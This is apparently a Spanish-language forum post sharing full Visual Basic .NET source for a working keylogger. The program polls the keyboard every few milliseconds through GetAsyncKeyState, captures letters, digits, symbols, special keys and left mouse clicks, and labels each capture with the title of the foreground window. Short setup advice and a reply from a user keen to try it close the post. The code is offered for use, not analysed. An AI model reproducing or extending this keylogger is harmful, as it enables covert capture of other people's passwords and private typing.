Este recoje un gran variedad de teclas y obtiene el nombre de la ventana donde se esta escribiendo para mayor informacion y obtiene tambien clicks del mouse solo del boton Izquierdo.
'------------------------------------|
'|Keylogger profesional de Robokop |
'|Este codigo esta reservado |
'|Para uso personal su distribucion |
'|esta penada por la ley mexicana. |
'------------------------------------|
'Este codigo ha sido escrito desde Cero en visual Studio .Net 2005
'Esta versión se encuentra libre de errores y con un warning que
'no eh podido corregir pero no hay problema porque funciona bien y utiliza apis nativas de Vb6
'Ya que en el .NET no he encontrado NameSPace de getAsyncKeyState xD
'Este codigo se ha baso en declaraciones para obtener corresponditenes nombres
'ya que se basa en la resta de 32767 para obtener los caracteres correctos.
'Por cierto fue un lio encontrar los numeros de cada letra ¬¬.
Option Strict Off
Option Explicit On
Imports VB = Microsoft.VisualBasic
Friend Class Form1
Inherits System.Windows.Forms.Form
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
Private Declare Function GetForegroundWindow Lib "user32" () As Integer
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA"(ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA"(ByVal hwnd As Integer) As Integer
Private LastWindow As String
Private LastHandle As Integer
Private dKey(255) As Integer
Private Const VK_SHIFT As Short = &H10s
Private Const VK_CTRL As Short = &H11s
Private Const VK_ALT As Short = &H12s
Private Const VK_CAPITAL As Short = &H14s
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
'Conversión de caracteres especiales....
ChangeChr(33) = "[RePag]"
ChangeChr(34) = "[AvPag]"
ChangeChr(35) = "[Fin]"
ChangeChr(36) = "[Inicio]"
ChangeChr(45) = "[Insertar]"
ChangeChr(46) = "[Suprimir]"
ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("
ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"
ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"
ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"
ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub
Function TypeWindow() As Object
Dim svar As Object
'Funcion para saber el tipo de ventana y devolver el nombre.
Dim Handle_Renamed As Integer
Dim textlen As Integer
Dim WindowText As String
'Obtenemos el nombre de la vetana de fondo
Handle_Renamed = GetForegroundWindow
LastHandle = Handle_Renamed
textlen = GetWindowTextLength(Handle_Renamed) + 1
WindowText = Space(textlen) 'Obtenemos el espacio del nombre
svar = GetWindowText(Handle_Renamed, WindowText, textlen) 'Guardamos en la variable svar_
'El contenido del nombre
WindowText = VB.Left(WindowText, Len(WindowText) - 1)
'Cuando se hace cambio de ventana se pasa un espacio y se pone un delimitador_
'con ese delimitador nos damos cuenta de que el nombre ya cambio .
If WindowText <> LastWindow Then
If Text1.Text <> "" Then Text1.Text = Text1.Text & vbCrLf & vbCrLf
'Separador que escrimos en el textbox
Text1.Text = Text1.Text & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText 'vemos ventana
End If
End Function
Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
Dim i As Object 'Timer que cada 5 milisegundos checa las pulsaciones de teclas...
'cuando AlT se preciona.
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1.Text = Text1.Text & "[ALT]"
End If
'Obtenemos caracteres de la A a la Z
'Los obtenemos de una forma For To para Ahorrar codigo en especificar cada _
'caracter asi que llevamos desde el numero ascii de A hasta la Z_
'en mayuscula y miniscula
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then 'Shift
If GetKeyState(VK_CAPITAL) > 0 Then
Text1.Text = Text1.Text & LCase(Chr(i))
Exit Sub
Else
Text1.Text = Text1.Text & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then 'Shift Izq
Text1.Text = Text1.Text & UCase(Chr(i))
Exit Sub
Else
Text1.Text = Text1.Text & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'Obtenemos numeros del 1 al 0 y signos con shift
'!"·$%&$%$$$··"·@@~~@€€36$%&$/$·$&&(/
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
Else
Text1.Text = Text1.Text & Chr(i)
Exit Sub
End If
End If
Next
'Obtenemos los signos donde estan los numeros en la parte derecha del teclado...
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then
'Negacion-
Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
End If
Next
'Diferentes posiciones de Alt en el teclado.:P
'Por cierto ya casi acabamos.
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1.Text = Text1.Text & "[ALT-abajo]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1.Text = Text1.Text & "[ALT-arriba]"
End If
End If
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
Next
'Barra de Espacio y dejamos un espacio en el text
If GetAsyncKeyState(32) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & " "
End If
'Enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Enter]"
End If
'Retroceso
If GetAsyncKeyState(8) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Retroceso]"
End If
'Flecha Izq
If GetAsyncKeyState(37) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaIzq]"
End If
'----Flechas---------
'Flecha arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaArriba]"
End If
'Flecha derecha
If GetAsyncKeyState(39) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaDer]"
End If
'Flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaAbajo]"
End If
'Fin de flechas--------
'Tabulador ------>
' <------
If GetAsyncKeyState(9) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Tabulador]"
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Escape]"
End If
'Intertar y suprimir
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & ChangeChr(i)
End If
Next
'Pagina arriba , pagina abajo ,home y End
For i = 33 To 36
'
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & ChangeChr(i)
End If
Next
'Click izquierdo
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'Nos aseguramos que el click fue en la pagina vista
Text1.Text = Text1.Text & "[ClickIzq]"
End If
End If
End Sub
Private Sub Text1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Text1.TextChanged
End Sub
End Class
Necesita un Timer de intervalo con 5 , puede ser menos pero yo lo probe con ese.
Este codigo fue probado con la versión Visual Studio 2005 Libre de errores y con un solo warning pero funciona sin problemas.
Es un grandisimo aporte ahora mismo lo pruebo, unas funciones que necesito parece que las tiene.
Saludos dracko.rx